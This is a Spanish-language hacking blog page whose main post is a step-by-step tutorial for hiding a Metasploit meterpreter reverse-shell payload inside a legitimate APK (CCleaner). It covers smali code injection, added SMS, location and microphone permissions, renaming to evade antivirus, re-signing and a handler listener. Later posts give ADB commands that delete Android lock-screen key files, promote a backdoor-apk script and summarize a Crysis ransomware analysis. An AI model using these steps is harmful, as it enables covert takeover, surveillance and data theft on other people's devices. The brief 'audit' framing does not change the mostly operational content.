HACKER ANGELWHITE GALC

viernes, 30 de diciembre de 2016

Tutorial para modificar un APK añadiéndole un payload msf




Ya sabéis que un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.

Lo que vamos a ver a continuación es un pequeño tutorial de cómo desempaquetar un .apk, y luego modificarlo añadiendo un componente propio generado por metasploit: un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app legítima a la vez que nuestro payload dejando infectado el dispositivo Android.

Cuando nos encontremos ante una auditoría podremos aplicar esta técnica para mostrar las vulnerabilidades de las aplicaciones de Android y recordar que lo importante es no instalar nunca aplicaciones de fuentes poco fiables.

Espero que disfrutéis de este pequeño tutorial tanto como yo lo he disfrutado haciéndolo.


Para empezar generamos el payload para Android con msf:

msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk


Luego nos descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:

apktool d -f -o payload meterpreter.apk
apktool d -f -o original ccleaner.apk


Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform


Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que queráis)


Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:

<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

Encima de éstas, encapsulándolas habrá una etiqueta <activity
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá una estructura similar a "com.piriform.ccleaner.ui.activity.MainActivity"


Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que será algo parecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali" , es decir, por cada "." Será una "/".

Editamos este fichero .smali y buscamos la línea:

;->onCreate(Landroid/os/Bundle;)V

En la siguiente línea a esta ponemos:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima



Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml


Añadiremos los permisos que consideremos, en mi caso puse estos:

<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>

Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit

sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

Después de eso debemos de cambiar el fichero Payload.smali por init-config.smali


también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

que hemos puesto antes con el nombre correspondiente:

invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V

yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos:

apktool b original/

A continuación comenzará a construir nuestra app.


Dentro del directorio ./original/dist estará nuestra apk construida/compilada.

Ahora toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro home el directorio .android

mkdir ~/.android

Generamos la key para firmar con:

keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

Para firmar con esa firma hacemos:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey

Ahora nos queda dejar a la escucha el metasploit con:

msfconsole
use exploit/multi/handler
set Payload android/meterpreter/reverse_https
set LHOST 192.168.1.135
set LPORT 8181
set ExitOnSession False
exploit -j -z

Ejecutamos la app en el móvil:



Deberíamos ver como se conecta nuestro meterpreter.

Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos.

Y bueno este es el final del manual , no voy a explicar el funcionamiento del metasploit ya que si lo conoces es el mismo de siempre y sino lo conoces pues te invito a que sigas los pasos y te aventures a realizar el Lab.

También dejo disponible la versión en PDF por si lo deseáis descargar:



Fuentes: 
- http://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/ 
- http://www.elandroidelibre.com/2016/02/modifica-y-clona-cualquier-aplicacion-con-apk-editor.html 
- https://ibotpeaches.github.io/Apktool/documentation/

” SOFT RESET ” ADB android – Quitar Patron / Contraseña sin hacer ” HARD RESET “

Tener activado la depuracion en la tablet
1
Conectar tablet a PC
Instalar driver ADB
Abrir el Prompt (Linea de comandos)
Introducir los sig comandos:
c:\android
adb devices
—————–
# Remueve PAtron
adb shell rm /data/system/gesture.key.
# Remueve Contraseña / Pincode talvez
adb shell rm /data/system/password.key  
————
Otra opcion
adb shell
sqlite3 data/data/com.android.providers.settings/databases/settings.db
update system set value=0 where name=’lock_pattern_autolock’;
update system set value=0 where name=’lockscreen.lockedoutpermanently’;
.exit
# exit
———
—-
Puedes probar
adb reboot recovery
TIP
Si al conectarla no tiene activado ADB, podemos probar INICIANDO LA TABLET EN MODO RECOVERY, en muchos casos esto nos da acceso a ADB.
Se monta la particion DATA o SYSTEM o SDCARD (suele ser diferente en algunos recoverys) y ya podemos usar los comandos para quitar el bloqueo sin borrar/HARDRESET.

Borrando los datos HARD RESET
adb shell wipe data
TIP
Entrando en modo fastboot y eliminando datos
astboot devices
fastboot erase userdata
fastboot erase cache
fastboot reboot
———–
Tambiénes posible empleando alguna de las 7 herramientas listadas Abajo.
Solo instala el driver ADB correspondiente y usa los botones u opciones.
Hay 7 opciones a probar.
1.- “Android Multi Tools v1.02b”.
Opciones 2,3,4,5,8
20130325113245
2.- “GPG Android Tool By GPGIndustries”.


















Tambien esta
3.-  “Justalok”
4.-  “MVS android tool v3.0”
5.-  “Uni-Android Tool V-4.0”
6.-  Fahem Anjum Tools V1.1
7.-  JURASSIC Universal Android Tool v.5.0.2


“Wipe all Rockchip” para Rockhip HardReset para Rockchip ” misc.img ”









—————————–
Activar WIFI via ADB
adb shell svc wifi enable
—–
Activar ADB via recovery
——
Por medio de recovery SOFT RESET – Zip flasheable via CWM/TWRP
http://forum.xda-developers.com/showthread.php?t=2620456

Pattern-Password-disable.zip
LockScreen_Security_bypass.zip
———————————————
Recovery Tablet sin botones de volumen. 
Puedes probar con un teclado USB
POwer + +
power + –
Power + ESC
Power + F2
power + F3
Power + f4
power + Insert / inicio/spr/fin /avpag/repag
Posiblemente alguna de esas combinaciones te permita entrar al recovery
Power + + + HOME
POWER+++ F2
etc
La otra opcion que queda es “flasheando” la tablet con una rom compatible.
*****************
Cuenta de google.
El método varia según el “parche de seguridad” con que cuente el teléfono.

backdoor-apk, un script en bash para añadir un backdoor en un apk fácilmente

Backdoor-apk es un script en bash de Dana James que simplifica el proceso de agregar un backdoor a cualquier archivo APK de Android. Si tienes algunos conocimientos prácticos de Linux, bash, Metasploit, Apktool, el SDK de Android, smali, etc. te recomendamos echar un vistazo al código y descubrirás lo sencillo pero práctico que es:

https://github.com/dana-at-cp/backdoor-apk/blob/master/backdoor-apk/backdoor-apk.sh

Por supuesto, este script se proporciona tal cual, sin garantía de ningún tipo y está destinado únicamente a fines educativos.




Encontrarás el APK recompilado en el directorio 'original/dist'. Instala luego el APK en un dispositivo Android compatible, ejecútalo y maneja la conexión meterpreter a través del script de recursos generado: msfconsole -r backdoor-apk.rc 

Proyectohttps://github.com/dana-at-cp/backdoor-apk



viernes, 9 de diciembre de 2016

Análisis del ransomware Crysis y herramienta de descifrado









 Resultado de imagen para ransomware Crysis

 La industria del ransomware avanza, ya sea porque se modifican  antiguos códigos maliciosos o porque se lanzan nuevos.  Lo que no quedan dudas que es actualmente una de las amenazas que ocupan a los expertos de seguridad.

En esta ocasión, los amigos de WeliveSecurity -en una impecable disección- analizan a CRYSIS; un ransomware que anotan como una clase de código malicioso del tipo Filecoder,  que emplea los cifrados  RSA y AES  para cifrar la información.  Como en casi todos los ransomware, el  objetivo es solicitar el pago de una suma de dinero a cambio de las llaves para recuperar la información.

En cuanto a los medios de propagación, Crysis utiliza diversos vectores de infección que van desde el e-mail hasta las redes sociales.

Por otra parte, los expertos nos dejan gratuitamente la  herramienta para descifrar los archivos y recuperar la información de aquellos que pudieran verse afectados.



Algunas características de Crysis

El ransomware no es más ni menos que un archivo ejecutable que no se encuentra protegido por un packer, lo cual se puede comprobar fácilmente en la cabecera del archivo:


Haciendo un análisis estático podemos llegar a identificar algunas de las principales características de esta familia de códigos maliciosos. Una de las primeras acciones que intentará el ransomware es crear copias de sí mismo en los siguientes directorios, para lograr persistir en el equipo:

* C:\Users\Victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
* C:\Windows\System32

El primer directorio es utilizado por el sistema operativo para ejecutar todas las aplicaciones que se encuentren dentro de esta carpeta una vez que haya iniciado sesión el usuario. Claro está que de esta manera la amenaza se asegura cifrar archivos recientemente creados.


En el segundo directorio, el ransomware evita que el usuario se dé cuenta de su presencia, ocultándose en una carpeta nativa y esencial de Windows.

 Underc0de - Hacking y seguridad informática-http://i.imgur.com/eVWmH2L.png

Una de las particularidades que tiene Crysis es eliminar las copias de seguridad creadas por el servicio “Volume Shadow Copy Service”, aplicación incorporada en Windows desde su versión XP.

En pocas palabras, el servicio VSS tiene como tarea crear copias ocultas (shadow copies) de archivos cada vez que ocurra una variación en el sistema como consecuencia de la instalación o actualización de un software. Como podemos ver en la captura, la amenaza ejecutará en consola una serie de comandos específicos para eliminar el backup, en caso de que hubiese.


A continuación, podremos ver cómo continúa el flujo de ejecución del código malicioso, en donde en las primeras instrucciones se encuentran las llamadas a las funciones antes mencionadas. También observamos que en determinados offset se alojan los strings que utilizará para renombrar los archivos cifrados y, además, una lista de extensiones de archivos, lo cual nos da indicios de cuáles son los buscados por esta amenaza para ser cifrados.


Luego se crearán los archivos con los pasos a seguir para recuperar los archivos, lo cual varía dependiendo del ransomware, pero Crysis utilizará archivos de texto e imágenes para guiar al usuario.


Una de las últimas acciones que realiza la amenaza, luego de cifrar la información del usuario, es enviar información como el nombre del equipo y un código identificador, haciendo uso del protocolo HTTP. Cabe destacar que los sitios a los que se conecta la amenaza son sitios comprometidos, por lo general servidores con alguna versión vulnerable de WordPress.


Herramienta para recuperar los archivos cifrados

En el siguiente enlace se encuentra la herramienta de descifrado de Crysis.exe (gratuita).

Indican los expertos que la tool se desarrolló utilizando las claves maestras de descifrado recientemente publicadas.